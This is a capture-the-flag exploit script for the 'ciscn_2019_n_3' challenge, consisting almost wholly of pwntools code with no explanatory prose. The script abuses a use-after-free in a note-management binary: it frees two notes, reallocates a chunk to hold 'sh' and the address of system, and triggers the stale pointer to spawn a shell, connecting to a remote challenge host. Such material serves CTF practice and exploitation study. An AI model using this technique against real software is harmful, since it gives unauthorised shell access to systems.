ciscn_2019_n_3[use after free]

exp

from pwn import *

context.log_level = 'debug'

def debug_pause():
    log.info(proc.pidof(p))
    pause()

def new_note(idx, _type, length, value):
    p.sendlineafter('CNote > ', str(1))
    p.sendlineafter('Index > ', str(idx))
    p.sendlineafter('Type > ', str(_type))
    if _type == 2:
        p.sendlineafter('Length > ', str(length))
        p.sendlineafter('Value > ', value)
    else:
        p.sendlineafter('Value > ', value)


def del_note(idx):
    p.sendlineafter('CNote > ', str(2))
    p.sendlineafter('Index > ', str(idx))
    
def show_note(idx):
    p.sendlineafter('CNote > ', str(3))
    p.sendlineafter('Index > ', str(idx))

proc_name = './ciscn_2019_n_3'
p = process(proc_name)
p = remote('node3.buuoj.cn', 25454)
elf = ELF(proc_name)

new_note(0, 2, 0x14, b'a')
new_note(1, 2, 0x14, b'a')
del_note(0)
del_note(1)
new_note(2, 2, 0xc, b'sh\x00\x00' + p32(elf.plt['system']))
del_note(0)                                                                                                                                                                                                        
p.interactive()